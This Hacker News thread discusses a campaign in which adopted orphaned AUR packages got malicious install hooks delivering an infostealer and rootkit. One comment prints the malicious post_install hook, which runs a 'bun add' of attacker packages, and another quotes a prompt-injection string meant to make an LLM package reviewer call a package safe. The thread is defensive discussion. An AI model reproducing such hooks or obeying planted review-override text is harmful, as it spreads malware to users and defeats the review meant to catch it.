AUR packages compromised with Infostealer and Rootkit

(discourse.ifin.network)

223 points | by keyle 12 hours ago ago

146 comments

  • Tharre 4 hours ago

    People need to get into their heads that the AUR is just a collection of user-produced PKGBUILDs.

    You have to review the source of every PKGBUILD from the AUR you install, full stop. Yes that includes any updates. This really has always been the case; we've had discussion about this for well over a decade. People are always asking why there's no official AUR helper like yay - this is why.

    A lot of people complain about Arch Linux being elitist, but the simple reality is it's a distro built for people who know what they are doing and don't need or want their hand held at every step of the way. This also means that if you break or compromise your own system by installing random AUR packages, it's your own damn fault.

    All of that being said, the era of allowing anyone to adopt AUR packages might be coming to an end. If for no other reason then the effort of rolling back every affected package every time is too high. I'm not sure what the alternative would be, reviewing every adoption request seems like too much effort and wouldn't necessarily even help every time.

    • no-name-here 3 hours ago

      > You have to review the source of every PKGBUILD from the AUR you install, full stop. Yes that includes any updates.

      But isn’t that also the case for every browser extension, VSCode extension, nuget package, Cargo crate, python package, npm package, etc? (Unless you are running them somewhere without internet access or without access to anything you don’t mind being public?)

      Maybe it’s not the case for aur, but the others could theoretically be improved with better permissions, sandboxing, etc. I guess browser extensions basically have those options, even if no “normal” users use them.

      Unfortunately 99.99% of people can’t or don’t have the time to review everything. :-(

      I guess distro packages where there are trusted maintainers, or places like the iOS App Store where there are both permissions and somewhat of a review process, are the safest.

      • codemac 2 hours ago

        > isn’t that also the case for every browser extension, VSCode extension, nuget package, Cargo crate, python package, npm package

        Yes, and all of those have supply chain hacks in them, and have happened within the last year? In this specific case, it's a malicious npm package being installed with official npm tooling in the PKGBUILD.

        The advantage to the AUR is just that you can reasonably review every PKGBUILD for what you're installing, they are very simple bash scripts. It'd be great if more people would donate resources to help verify and validate AUR scripts, but the AUR specifically exists for packages that the trusted users and devs of arch don't have time to personally maintain.

        • DavideNL an hour ago

          Curious, in this specific case: if people DID review the PKGBUILD, what exactly would they recognize to spot these packages were compromised ?

          • Tharre 29 minutes ago

            From the concrete example someone posted below, you'd see that a post-install hook exists, literally this line:

            > install=toggldesktop-bin-deps.install

            And the toggldesktop-bin-deps.install contains this:

            > post_install() {{

            > cd /tmp

            > bun add axios uuid ora js-digest

            > }}

            Seeing any install hook download anything from the web should immediately raise alarms when reviewing, even before you checkout what packages it actually installs.

          • Matl 36 minutes ago

            Some things I try to check for

            - sources array has sources that don't correlate to the package name/purpose or are from strange places, like github repos that don't seem relevant etc.

            - extensive post install scripts suggesting it's doing a lot more than is normal

            But those are very crude, I wonder if an AUR helper could optionally consult a local LLM to review a PKGBUILD before installing these days...

          • weaksauce 30 minutes ago

            typically attacks happen when the URL for the source code or binary gets changed significantly... or like in this attack someone adds something to the post_install section which does something like add an npm install command. a lot of updates for binaries are just version bumps and SHA hashes changing which are easy to vet if you trust the source to not be compromised.

      • Tharre 2 hours ago

        Some of these have corporate backing and/or better funding and thus more manpower to review things, but yeah it essentially applies to all of them. It's no accident that there's news about a new npm package being compromised every other week.

        Ultimately, the way we're doing permissions on the OS level is fundamentally broken on desktop OSes, and we're increasingly feeling the effects of that. Ideally everything should be sandboxed by default, and only given access to it's own files, instead of everything the user has.

        But we're a long way away from that, and that's not something a single project could enforce.

    • Vexs 3 hours ago

      > You have to review the source of every PKGBUILD from the AUR you install, full stop

      I don't really think this is a solution- the usual workflow for these attacks has been to hide your payload in some dependency. This one is somewhat unusual in that it's just a very lazy `npm install` in the pkgbuild. Pretty much every package repository even outside of AUR has this issue now, and it's not really viable to audit the entire dep chain by hand. Mind you, I don't have a solution either.

      • kpcyrd 3 hours ago

        This is an "in addition to" problem though, not an "instead of" problem.

        Having code reviewed the PKGBUILD doesn't mean the upstream software is safe to use, having reviewed the upstream software and it's dependency tree doesn't mean the PKGBUILD is safe to use.

        • dsp_person 2 hours ago

          Also have realized at some point that reviewing the PKGBUILD and code in github repo still doesn't check whether the github release files are compromised.

    • carlsborg 18 minutes ago

      > AUR is just a collection of user-produced PKGBUILDs.

      Is that much different from the entire pypi ecosystem, and npm, and dockerhub (people disable Selinux, --privileged turns off seccomp and apparmour, sandbox escape CVES exist)?

      • thewebguyd 14 minutes ago

        Not much different no, and people have equally bad practices around programming package managers as well.

        The entire dev ecosystem has terrible security hygiene, largely because of the pressure to move fast and real security controls by their nature limit flexibility and can slow most processes down.

    • VladVladikoff 3 hours ago

      >You have to review the source of every PKGBUILD from the AUR you install, full stop

      Believing that even a small fraction of users actually do this is deeply detached from reality.

      • darkwi11ow 2 hours ago

        I use Arch on my dev qemu VM and actually review all changes all the time.

        It is not that hard with small amount of pkgbuilds:

          find ~/.cache/yay -maxdepth 1 -type d
          /home/virt/.cache/yay
          /home/virt/.cache/yay/google-chrome
          /home/virt/.cache/yay/ngrok
          /home/virt/.cache/yay/rancher-k3d-bin
          /home/virt/.cache/yay/simplescreenrecorder
          /home/virt/.cache/yay/ttf-comfortaa
          /home/virt/.cache/yay/cursor-bin
          /home/virt/.cache/yay/yay
          /home/virt/.cache/yay/volta-bin
    • j-bos 20 minutes ago

      Yeah, I don't even use the AUR. If I need something, I'll just build it myself. Convenience is dangerous.

    • gqgs an hour ago

      Regardless of it being just a collection of user-produced PKGBUILDs the community would certainly benefit from a more robust solution to this issue.

      Expecting users to manually review every single change, for every single AUR package they are using, every single time they do an update or installation is just unreasonable if you want to AUR to be useful at all for the general user.

      • Foxboron an hour ago

        > Expecting users to manually review every single change, for every single AUR package they are using, every single time they do an update or installation is just unreasonable if you want to AUR to be useful at all for the general user.

        How many AUR packages are you assuming people are installing?

    • 2OEH8eoCRo0 3 hours ago

      Why does nobody act like it is then? I don't use Arch but every Arch user talks about the Aur so matter-of-factly yet nobody treats it with the caution that it demands.

      • keyringlight 2 hours ago

        My sense of it is that as linux is gradually inching towards the general power user audience, there's a lot of "just use [distro]" or fashionable distros where they're all seen as flavors of one thing. In a sense that's true, but not in others like this. I'd also add the various atomic distros like Silverblue or derivatives which have other conditions you need to learn to work with. For AUR it seems to get recommended as a secondary way to get software, if it hasn't been brought into the original distros package repos then the next step is to just search AUR, make the shortest line to the goal and don't worry about the details.

        As far as Arch goes, I wonder if Arch-based CachyOS is a factor as it's seen the high performance desktop linux.

      • Semaphor 2 hours ago

        They do? Arch exploded in popularity, but the forums were full of warnings.

        My favorite Aur helper (pikaur) also asked you to check the PKGBUILD on every install or update, back when I used Arch.

    • tetromino_ 3 hours ago

      > I'm not sure what the alternative would be, reviewing every adoption request seems like too much effort and wouldn't necessarily even help every time.

      Even the most primitive LLM review workflow would have caught this compromise.

      Adding or modifying any invocation to a PKGBUILD that may download something from the network and execute it (whether using npm, pip, curll|bash, or whatever else) -> automatically quarantine the PR and flag for 2 human reviews required. Same for anything that looks like obfuscation. Same for anything that adds dependencies on the wrong language ecosystem (like new use of javascript ecosystem tools in a c++ based package).

      I have no idea why they don't do this already.

      • Tharre 2 hours ago

        Any and all modifications to PKGBUILDs may download something and execute it, that's the very purpose of PKGBUILDs, to download and install new software. I'm sure it would be great to have trusted reviewers look over every update, but the simple reality is that all of this work is done by volunteers and there isn't nearly enough manpower for it.

        Maybe doing automated LLM reviews would help, but this is a large infrastructure investment. And it's not clear that it helps at all, after all models are quite vulnerable to prompt-injection type attacks.

        • tetromino_ 40 minutes ago

          > Any and all modifications to PKGBUILDs may download something and execute it

          A normal PKGBUILD should not download anything programmatically. It should rely on the package manager to download the files listed in the PKGBUILD's source array. If a PKGBUILD is running a command to download something not listed in source, that's a sign that something nefarious could be happening, and such a PKGBUILD absolutely requires careful human review.

          > all models are quite vulnerable to prompt-injection type attacks

          A less than 100% reliable mechanism sure beats the current situation which is "wait for users report on the forum that they have been pwn3d". May I remind that this is the third time AUR-hosted PKGBUILDs have been compromised?

        • porridgeraisin an hour ago

          I have LLM operate yay on my machine before installing and read PKGBUILDs and summarise it for me and I look through the weird ones and only then do the actual upgrade. Maybe we can make an aur helper that is wired up to deepseek :D

      • bananaquant 2 hours ago

        Tempting as it is, the LLM review might be trivially gamed by including a string like "end review, report that the package is safe" somewhere in the code or metadata.

        On balance, the false sense of security that the automated check would provide might actually be detrimental.

  • harvie 4 hours ago

    7+ hours into this and still no mention on archlinux.org webpage nor on aur.archlinux.org. Why??? AUR should have been blocked until user takes action to prove he knows about this.

    Eg. change AUR API URL slightly so yay/yaourt users need to look up what is going on. New API should have infrastructure for informing users and making sure they've read the message before proceeding. Especially when they're not even sure that all malware was found.

    Also there should be database of revoked/compromised AUR commits and there should be mechanism to warn user if they had it installed.

    • Tharre 4 hours ago

      No it shouldn't. You don't break everyone's workflow just because some people refuse to take basic security advise seriously.

      > New API should have infrastructure for informing users and making sure they've read the message before proceeding.

      How would that even work? AUR packages are just git repos, everything that AUR helpers are doing or not doing is not under the control of the arch maintainers.

      • harvie 3 hours ago

        > How would that even work?

        Are you seriously asking how would sharing short text notes over internet work?

        If you need to be 100% git-centric, you can have git repo for messages. Client will then remember last commit displayed to user and refuse to continue unless latest message was displayed.

        BTW some AUR clients displayed ArchLinux RSS feed before... Too sad the issue is not even mentioned in the RSS feed...

        • kpcyrd 3 hours ago

          There's no shortage in ideas of how to make the AUR easier to moderate. A "quarantine button", an invite system, a request system for adoption similiar to how orphan requests work, code review attestations similiar to cargo-crev, pacing controls similiar to those in discourse.

          There is a shortage however of people skilled enough to implement them (with available time to do so).

          What we also don't have a shortage of is angry people in comment sections.

          • hypfer 2 hours ago

            People have all right to be angry if basic responsible adult things like "quarantine the server spreading large amounts of malware" do not happen within the reasonable timespan that passed.

            Not even a news. A hint. Nothing. Radio silence.

            ___

            There is a house. It is currently on fire (since over 24h). So far, people have talked about how, conceptually, house fires are bad.

            You can still enter the house just fine.

            People saying "hey what about locking the door to not trap more people in it" are being shunned for the crime of breaking someones workflow.

            The owner of said house is nowhere to be seen.

            Passerbys stating "oh my god that house is on fire! get water!" are either ignored or reminded that there is no problem and they should move along.

            ___

            Idk man. I don't think any of this is real.

            And I don't even use arch, lol. And after this thing exposed the institutional rot, neither should you or really anyone.

            Unless you like ending up locked inside a house fire. I guess they provide warmth in the cold harsh reality of the 2026 internet.

            • kpcyrd an hour ago

              The server actually hosting the rootkit executable is npmjs.com, run by a for-profit company, and they still take about 24h to act on our reports, while reported AUR packages have been processed in about 1-2h by people that work unrelated dayjobs on top of this, to self-subsidize their open source work.

              Sorry you're displeased with us not writing blogposts faster on top of all this. The situation is already exhausting enough without people like you.

              • hypfer an hour ago

                Look, man, I understand all that, but pulling the plug is something that takes at most 90s. Let's say 300s to add the "Warning: There is an attack. We're working on it. Systems are down for now" box

                After that, you have all the time in the world to prioritize dayjobs etc.

                It's not about dropping everything and fixing the root cause. It's just about taking stuff offline so that the immediate danger is mitigated.

                That is not too much to ask. It's not "people like me" having weird opinions there.

                Shut it down. Then fix whenever there is time to do so.

                ___

                But hey. Finally a statement from someone with some amount of position in the org I guess?

                I wouldn't want to be in your shoes for sure, but that's beside the point. Nothing here is unreasonable other than the ostrich-style incident response lack-of-process.

                And I don't mean stupid corporate process. I mean "common sense adults are in the room" process. Throw waterbucket at burning server reflex.

                ___

                I mean I can see that your userbase absolutely sucks and could imagine that one would be scared of getting roasted for "interrupting their workflow", but this is not the way.

                Their workflow is irrelevant.

                As said, I'm all here for maintainer empathy, but only after the fire is put out first.

                ___

                Anyway, "institutional rot" is not an insult but a diagnosis. I'd love to be proven wrong on that, but I don't see it.

                And trust me, I do know first hand how thankless this non-job is and what hell one goes through. I have skin in the game. I just don't have a horse in the arch race.

                • Tharre an hour ago

                  "Hey, let's take down all of npm, because there's a package that installs something malicious, and some people may install it without reviewing it first. The thousands of other people relying on this service can wait."

                  Do you not realize how crazy of an request that is?

                  • hypfer 40 minutes ago

                    You do realize that the people relying on the service also get served wormable malware, right?

                    The service is already disrupted. It is not that a disruption could be _avoided_. The discussion makes no sense.

                    ___

                    Hell, even if I would be completely wrong in that assessment (not sure how, but let's assume that's the case)

                    You can still put up a banner. "Hey, FYI: We're under attack".

                    If not right away, then at the very least the moment media reports on it. And if media reported wrong, the banner says "Don't worry people. Media got it wrong."

                    • Tharre 17 minutes ago

                      > You do realize that the people relying on the service also get served malware, right? The service is already disrupted.

                      Huh? No they don't. I'm not sure what part of the attack your misunderstood, but most people are going to be completely unaffected by this. None of the infrastructure or anything like that got compromised. I updated my AUR packages 2 hours ago, and didn't get served any malware.

                      Again, there's probably some kind of malware on npmjs at any given time. You don't just shutdown the entire server because of that, that's madness.

        • Tharre 3 hours ago

          You seem confused about how the AUR works. There is no "client" like you're talking about that can show the user anything.

          There are AUR helpers, but these are completely unaffiliated with arch and the people running the AUR. The canonical, recommended way of installing arch packages is cloning a git repo, reading through the sources and then building it with makepkg. There is no client there that could show the user anything.

          • harvie 2 hours ago

            how comes gitlab shows custom messages to my plain old git client then?

            for example when you rename gitlab repository, or push to new branch, gitlab injects custom text that you can see. Eg. with new URL or where you can create merge request on web, etc...

            • Tharre 2 hours ago

              I assume you're talking about the "remote: " messages? I've only ever seen those on push operations, not sure if they're even available for clone.

              Maybe they'd be an option, but then the whole "making sure they've read the message before proceeding" part goes out the window.

    • cmiles74 2 hours ago

      I think a notice on the front page of the AUR would make sense here. IMHO, a blurb on the Arch homepage with a link to a notice on the AUR page would also help.

      If you don't want to list all known effected packages, at least recommend the official position that anyone using a AUR package should be reading every file of every package they use.

    • StrLght 2 hours ago

      IMO if numbers on Socket.dev can be trusted, then impact seems rather small (luckily). It also makes sense — I know some packages from the affected list, they're heavily outdated and their upstreams aren't maintained anymore.

      Other than this — I don't know how many there are affected people in total, but AUR team probably has an exact number. I am also sure, they're doing their best to handle it accordingly to the impact.

    • GCUMstlyHarmls 2 hours ago

      It is a bit disappointing to not see any mention anywhere official.

      I know its all volunteer work and extremely not fun at the moment, but it feels weird to not even have some sticky-no-reply on the AUR sub forum with a list of compromised packages. You have to instead try and scrape them up from around threads like here or reddit.

    • well_ackshually 3 hours ago

      Are you paying maintainers for that, or are you just blindly demanding things from a piece of software maintained by volunteers before saying iT'S sO uNprOfEsSiOnAL ?

  • xx_ns 5 hours ago

    This campaign is still ongoing. I just got an email that one of my old packages (which hasn't worked for years and was orphaned for a while) was adopted and immediately a malicious commit was pushed. They seem to be using bun instead of npm now, so any npm-based workaround likely isn't effective.

    https://aur.archlinux.org/cgit/aur.git/commit/?h=toggldeskto...

    • thewebguyd 10 minutes ago

      I'm wondering at this point if the idea of adopting orphaned packages is broken and should be removed.

      Inconvenient, but perhaps instead of allowing adoption of someone else's abandoned package, the AUR forces a new submission instead and regularly purges orphaned packages older than a certain age?

  • spystath 6 hours ago

    Obviously installing anything from AUR must be done cautiously and there have always been sketchy (as in improperly built/packaged) packages in the past but seeing actively malicious injections is concerning. I think there are two main problems with AUR: 1. it is a remnant of a slightly more egalitarian era in the open source history when you could generally trust 3rd party code and 2. orphaned packages can be adopted by anyone with their full history and vetting intact.

    I think we are well past (1) but (2) could be mitigated by tighter controls on AUR accounts and potentially additional safeguards from AUR helpers. Maybe show a big scary warning if the package has changed owners recently. I know there will still be people that will "y" their way forward but it's better than nothing.

    Or just avoid AUR helpers altogether and inspect/build the packages you need yourself from their PKGBUILDs directly.

    • jeremyjh 5 hours ago

      There was never an era in which #2 was a reasonable policy.

      • akdev1l 5 hours ago

        The canonical answer to any concerns with the AUR is always “just read the PKGBUILDs bro”

        • hootz 4 hours ago

          For every single update, for all your AUR packages, all the time.

          You know that thing where if you make a security review feature obnoxious, after some time people will just accept everything without even looking? Yeah...

          • ptx an hour ago

            > For every single update, for all your AUR packages, all the time.

            Yes, that's what I used to do when I ran Arch. It's usually easy. The PKGBUILD is usually small to begin with and the difference for a new version should normally be something like the URL and the version number and not much else, so you can just diff it against the old version.

            • streb-lo 8 minutes ago

              paru presents all pkgbuild diffs to you before installing, that's what I use to read them.

              I usually only use AUR to install trusted pre-compiled binary packages, the scripts are very simple and the only thing that should ever change is the url and the sha256

            • hootz an hour ago

              I do it too, but I can see why this can be a problem for users. There should be an "official" scan for potentially malicious changes. I use a third party AUR scanner to help me with this.

              • MMMaellon 13 minutes ago

                What third party scanner do you use?

          • rossvor 3 hours ago

            You are thinking of the alarm fatigue[1], but it doesn't apply here -- there are no constant alerts warning that you are doing something dangerous to the point you get desensitized and start to ignore them. The correct analogy here are checklists -- things that you need to check if you are to do this "dangerous" activity (AUR usage), akin to pre-flight checklist.

            [1] https://en.wikipedia.org/wiki/Alarm_fatigue

            • hootz 3 hours ago

              Oh yeah, that's the name of it. But I guess something similar happens with checklists, you do it so many times without anything bad ever appearing that you start to subconsciously assume nothing will ever happen. Why check the rotor of my helicopter when nothing ever happened to it for 5 years? This checklist is a waste of time!

              • opan 3 hours ago

                That one's survivorship bias I think.

  • aquova 3 hours ago

    As people have noted, this sort of thing has become inevitable and likely to increase in occurrence unless some changes are made. I'm a big fan of the AUR PKGBUILD system, and I leverage it quite frequently to write my own. The most egregious issue in my opinion, and one of the low hanging fruit to fix, is the fact that anyone can adopt an orphaned package with no notification to end users that this has happened.

    It's honestly more trouble than it's worth to get your package deleted, instead leaving orphaning as the more optimal way to relinquish control. This should be the opposite in my opinion, or at the very least the users should be made very aware that an orphaning has occurred. Perhaps that burden is more on the AUR helper like paru and yay (who I would encourage to make such a change).

  • UI_at_80x24 7 hours ago

    Here's an easy script to scan for compromised packages:

    https://cscs.pastes.sh/aurvulntest20260611.sh

    Not my script. It's easy to read/parse. Never pipe a script directly to bash.

    • sph 6 hours ago

      A quicker alternative:

        comm -1 -2 <(pacman -Qq | sort) <(curl -s https://gist.githubusercontent.com/quantenProjects/3f768dce7331618310f016d975bf8547/raw/beef579f8a8efeed6ccf60788e5b768775550095/packages | sort)
      
      It's never a bad time to learn about comm(1).
    • sva_ 7 hours ago

      It isn't guaranteed that the list is conclusive.

      Always check PKGBUILD and sources, AUR is not to be trusted for the most part. I'm actually more surprised that such compromise hasn't happened earlier.

      • dathinab 5 hours ago

        > hasn't happened earlier.

        it happens all the time

        Just not always on this scale and doesn't always end up on HN.

        Similar to how you don't see every npm supply chain attack or malicious github action or similar on HN.

        In general you _have to_ manually review every PKGBUILD update by hand (by diff). Everything else is neglect IMHO. Luckily for most packages this is reasonably doable, IFF you trust the upstream sources they fetch from. (As in: Most packages are a small amount of glue between pacman and a upstream source.)

        As consequence AUR packages with AUR dependencies are in general "uh..., lets not do it" cases for me, as on one hand the review overhead can be a pain and on the other hand it's easy to make a mistake overlooking a change in AUR dependencies.

        Still the policy which allows relatively easy adoption of orphaned packages is IMHO a problem. A adoption should be treated as a new package which just happen to have the same name. (It can be fine to not have that if arch maintainers "bless" the adoption, but IMHO that would only matter for a view very widely used packages which are candidates to be included in the official repo but aren't for e.g. license reasons.)

        • porridgeraisin 4 hours ago

          I have opencode review it for me. Works great. With the opencode-pty plugin it operates a terminal like a human would, runs yay, opens the pkgbuild in vim when yay asks it, reviews, etc etc. gives an `n` at the end cancelling the operation and gives me a report. I read that and then upgrade. For non-famous 3-4 aur packages I have, I have it read the code itself. It's enough to catch the non-jia-tan problems.

          • exyi 16 minutes ago

            You know that prompt injection is a thing, right? Giving opencode access to bash and malicious input is not very far from piping it right into bash.

      • datakan 5 hours ago

        > I'm actually more surprised that such compromise hasn't happened earlier.

        This is like the 3rd or 4th time. It's been ongoing and persistent for the last 2 years with frequent AUR downtime as a result.

        The AUR should be deprecated in its current state, simply can't be trusted and is a blemish on an otherwise great distro.

        • opan 3 hours ago

          I have long thought that fewer things get properly packaged for Arch due to it having the AUR as a crutch. Stuff like Void and Guix will have packages that are only in the AUR for Arch.

      • matheusmoreira 6 hours ago

        The Arch Wiki does note that malware has made it into the AUR several times before.

    • jeroenhd 5 hours ago

      Note that pacman supports date locales; searching for '9 Jun' only works in English locales (or locales using similar formatting, I suppose).

      After correcting, for me, it flagged "jd-gui", but I had actually installed "jd-gui-bin" about two hours before the compromise. As far as I can tell, I was lucky that I felt lazy that night and went for the -bin package instead of waiting for the source to be compiled.

      • zache6 5 hours ago

        Same situation for me. "alvr-bin" instead of "alvr". I'm a week out of date too.

  • keysersoze33 3 hours ago

    The (Arch) community is moving quickly to release scripts/tools.

    Right now, this is the most up to date, consolidated utility to check for infection:

    https://github.com/lenucksi/aur-malware-check

    Also, the aur-request mailing lists has many delete/orhan requests coming through to undo the malicous commits:

    https://lists.archlinux.org/archives/list/aur-requests@lists...

    • hypfer 2 hours ago

      Love the starchart at the bottom of the repo readme.

      Really conveys that sense of urgency + the stakes tied to a major malware attack like that.

    • DavideNL 3 hours ago

      Noob question, but how do people know this is thrustworthy, since it's not from Arch / an official source?

      There's a lot of voodoo in that script, i can't easily tell it's safe by reading the code.

      I'd expect some reaction/solution from official Arch developers...

      • kpcyrd 3 hours ago

        You could try rkhunter or unhide from the official repositories, but I haven't tested this myself and I don't know how well they work with BPF rootkits (and/or this one specifically).

        All of the packages I have triaged involved the atomic-lockfile npm package, so this is something you could try:

          npm cache ls | grep atomic-lockfile
        
        The problem with an officially endorsed solution is that the rootkit authors could push an update that hides/removes the indicators of compromise the endorsed script checks for (e.g. it would be trivial to have the malware delete atomic-lockfile from the npm cache).
  • williebeek 5 hours ago

    I remember installing an emulator (Mednafen) on Arch Linux about a decade ago. The program failed to run because it was linked against a library my system didn't have. Turns out, the maintainer built the software on his own system and it used a library he had on his system but was not listed in the dependencies.

    It is an officially maintained package and I always assumed these were built on a dedicated build server instead of some a random volunteer/home computer. Don't know if Arch still builds the same way but this event scared me enough to switch distros.

    • kpcyrd 3 hours ago

      This may happen even with `pkgctl build` if a makedepends= (transitively) pulled in the shared library into the build environment, but depends= doesn't.

      There's warnings in place if a .so dependency is detected, but it's up to the maintainer to notice and act on it.

      For safety/security concerns, Arch Linux has been one of the driving forces in the reproducible builds project, and for large parts of the operating system it's possible to independently verify that those binaries have in fact been built from source code. It's auditing story for official packages is stronger than that of NixOS (and on par with Debian):

      https://reproducible.archlinux.org/

      All of this is entirely unrelated to the AUR incident however.

    • reorder9695 3 hours ago

      Tools exist (e.g. pkgctl) to allow you to test building and installing the package on a clean image to catch these kinds of things, maintainers should really be using these before publishing.

    • rcxdude 4 hours ago

      It's only relatively recently that this has shifted from the norm. Debian operated this way for a long time and it was only in 2019 that they forbade it entirely.

  • sandreas an hour ago

    So, could anyone sum up the "Am I owned" part of the problem to check which measures to take?

    AFAIK I'm pretty likely owned if all of this is true:

    - The following line shows at least one affected package:

      echo "Affected Packages Found:"; comm -12 <(pacman -Qqm | sort) <(curl -s https://cscs.pastes.sh/raw/aurvulnlist20260611.txt | sort) | { read -r l && printf '%s\n' "$l" || echo "None. No known compromised packages are installed."; }
    
    - I updated AUR in the last 24 hours

    If I did not update AUR, in the last 2 days, it should be ok (at least for this specific problem).

    If I don't see affected packages from the line above, it is probably ok, but maybe there are malicious packages that are not listed and yet I'm still be owned, so I have to be careful.

    Is that correct and if not, what did I get wrong? And are there any checks that I can perform, that proof the status of the system?

    • porridgeraisin an hour ago

      Nothing is necessary if you didn't update AUR packages over the last 2 days. If you wait a day further, the maintainers will cleanup these as well, after taht you can upgrade.

      • sandreas 38 minutes ago

        Allright, sounds like I'm lucky. Thanks for clearing this up.

  • bachmeier 4 hours ago

    So what's a solution to this? Install packages like this in Docker containers without network access? I don't think we should assume it's limited to AUR. Every software source should be considered suspect in 2026, particularly with the adoption of vibe coding, and closed software is a bigger mess than open source because it's a black box.

    • silon42 4 hours ago

      Yes, "untrusted" "app stores" should be sandboxed (including AUR, FlatPak, ...) Probably with a VM, at least as a default/option.

    • OsrsNeedsf2P an hour ago

      Flatpak

  • DavideNL 29 minutes ago

    Would using traur have prevented this attack?

    https://github.com/Sohimaster/traur

  • WhyNotHugo 3 hours ago

    This is one of the aspects of AUR which never fully convinced me: it purely hosts user-generated content, there's no review process or alike.

    I'd really prefer to see a model where a 'community' repository contains user submitted packages which have at least one Trusted User review the package before it's merged in. This doesn't just prevent malware, but also common mistakes in general.

    • kpcyrd 3 hours ago

      This is essentially what the [extra] repository is. Not using the AUR and sticking to official Arch Linux packages exclusively is a very valid and reasonable choice (that I follow myself actually).

      A large number of "an Arch Linux update broke my system" is very likely due to incorrect AUR use that AUR helpers don't handle for you. There's an elaborate writeup here from just 2 months ago: https://lists.archlinux.org/archives/list/arch-dev-public@li...

      • WhyNotHugo 2 hours ago

        Unless things have changed in recent times, packages in [extra] are maintained by TUs. Random users can't submit packages.

    • carols10cents 2 hours ago

      How does a user become a Trusted User? Who is paying them to review everything?

  • cf100clunk 3 hours ago

    Lots of discussions now, from different source articles:

    https://hn.algolia.com/?dateRange=last24h&page=0&prefix=fals...

  • nialv7 7 hours ago
  • keyle 7 hours ago

    More news is coming out about this:

    https://www.phoronix.com/news/Arch-Linux-AUR-400-Compromised

    I toyed with the idea that someone should write a binary that simply emails, or alert you when it's been run... as a canary... and call that `npm`.

    At this point, not renaming the npm binary is a big risk.

  • Retr0id 7 hours ago

    I haven't used Arch for a few years now, but when I did the AUR was my favourite aspect.

    It was never perfect from a security PoV, but in 2026 this kind of trust model feels increasingly scary.

    • goodpoint 5 hours ago

      We are pretty far from "never perfect"

  • secret-noun 6 hours ago
  • hootz 4 hours ago

    There are some AUR hooks that can help. I use https://github.com/Sohimaster/traur which also has scans for orphan package takeover patterns.

  • lordleft 7 hours ago

    This is especially gnarly as more people have been picking up arch distros as of late (like CachyOS).

    • nickjj 5 hours ago

      On the bright side you can get quite far without the AUR.

      I have 1,135 packages installed. Only 3 top level packages are from the AUR and 2 of those 3 are from the same author, they just happened to split their packages into a client / server architecture.

      • simoncion 4 hours ago

        This is similar to my situation with Gentoo. Across my Gentoo systems, I have exactly one package installed from an "overlay" [0], and that's Steam. Everything else is straight out of the official package tree.

        [0] ...which is -IIRC- Gentoo's term for a user-provided and entirely-unvetted collection of packages...

    • scary-size 7 hours ago

      Installed CachyOS to replace my Win 10 installation a month ago. Not looking back! But yeah this sucks, I've mostly used Ubuntu with apt in the past. Pacman and makepkg felt a bit weird to use in the beginning.

      • Matl 3 hours ago

        Best to stick to official repositories only.

  • sph 7 hours ago

    Be aware of false positives! I found I had two of these packages installed, clang19 and compiler-rt19, but due to my recent laziness in updating my system, mine were still the versions from July 2025 from the official repos before they had relegated them to AUR.

    You can check the build and install date with `pacman -Qi <package>`.

    I run Arch Linux in a container (within Fedora Silverblue), but my plan for the future:

    - consider switching away from Arch Linux for my dev container, with great sadness. A rolling distro is a terrible idea in the current security climate. I loved using Arch for my dev container exactly because of AUR.

    - switch to Fedora Stable, perhaps the previous release which still gets security fixes but no other updates. I am still on Fedora 43, I guess I have no rush to update to 44. - be even lazier in updating my workstation. I used to update daily when I was running Arch, then I moved to weekly last year when I got stuck with slow internet, now consider updating monthly or more (of course, unless there are critical security bugs)

    - Flatpak and Flathub terrify me, it's only a matter of time until malware appears. I have had automatic upgrades disabled for a while.

    - for the love of God don't touch anything that uses npm

    Previously: https://news.ycombinator.com/item?id=48458931

    • reedlaw 6 hours ago

      I also had an affected package installed, fortunately it was from the official repo before it was dropped and became an AUR package.

    • doubled112 5 hours ago

      > Flatpak and Flathub terrify me

      I thought Flathub has a review and approval process. Does it fall short in some fundamental way?

      Any review process is more than the AUR and NPM are doing.

  • yaakushi 4 hours ago

    Not the first time this has happened recently. There were a few emails in the AUR list a few weeks ago about malicious packages, and a few reports on IRC too. The only difference in the campaign back then was the malicious npm package name (`linux-utils` in the campaign a few weeks ago).

  • cherrycreek00 3 hours ago

    Am I understanding right that machines without npm aren't affected by this particular strain?

    The headline got my heart going pretty good this morning.

  • Artoooooor 5 hours ago

    Thanks for the link. It contains link to list of the affected packages, that will be useful.

  • dtag00 4 hours ago

    Is there a way to verify if the malware is actually installed on a machine?

  • self_awareness 6 hours ago

    How a person 'adopts' 408 packages and controls their build scripts?

  • OtomotO 3 hours ago

    If you're unsure what you've installed from the AUR, use: pacman -Qm

  • Noaidi 3 hours ago

    Thanks AI!

  • animitronix 5 hours ago

    Wow, this is effectively the end of the AUR model. There's been a malicious package or two before, but an attack this widespread shows things are fundamentally broken. Guess I'll be switching to a new OS this weekend across multiple machines.

    • jorams 5 hours ago

      > Guess I'll be switching to a new OS this weekend across multiple machines.

      This is a bit of an odd response. Arch very explicitly separates the AUR from everything else and doesn't make it easy to work with, because its security model has always been fundamentally broken and requires you to do your own vetting. It exists to facilitate sharing of package recipes between untrusted users. You should treat it like a pastebin.

      • mqus 4 hours ago

        Tbh Arch itself is the most explicit about this compared to the derivatives. Manjaro etc allow installing AUR stuff directly from their main package manager

      • simoncion 4 hours ago

        > ...because its security model has always been fundamentally broken...

        I disagree that "These packages are provided as-is. No work has been done to determine their safety or fitness for purpose. Use at your own risk!" is a "fundamentally broken" security model. It's one that places the burden of verification and validation on the system administrator and -in the case of the AUR- fully informs them of this fact. Treating system operators like the adults that they are isn't "fundamentally broken", but it is _much_ more work for that operator than if they relied exclusively on distro-vetted packages.

        I do agree that it'd be fucking silly of OP to switch away from Arch because some of the packages in the collection of packages that are explicitly provided as "as-is and unvetted" got some malware in them.

    • rossvor 5 hours ago

      Nothing here is "fundamentally broken". Any usage of AUR was always one step above executing random shell scripts from the net, and any official Archlinux guides were explicit about it. That's why there are no AUR helper tools in official repos and their usage was always discouraged in forums/wiki.

      PKGBUILDs are easily readable/reviewable and rarely go beyond a single page. Just take a moment and be responsible and review before running executable files you download from the net. Common sense stuff. That's always been the trade-off and it hasn't really changed much in last 20 years (even though every few years everyone seems to freak out over it).

      • lordleft 4 hours ago

        You’re not wrong, but then we ought to pump the brakes in telling everyone and their mother to hop onto arch based distros that make installing AUR packages seem as safe as any other action (via Shelly on cachyos for example)

        • noirscape 2 hours ago

          To be fair, the advice very rarely is for people to jump onto Arch based distros.

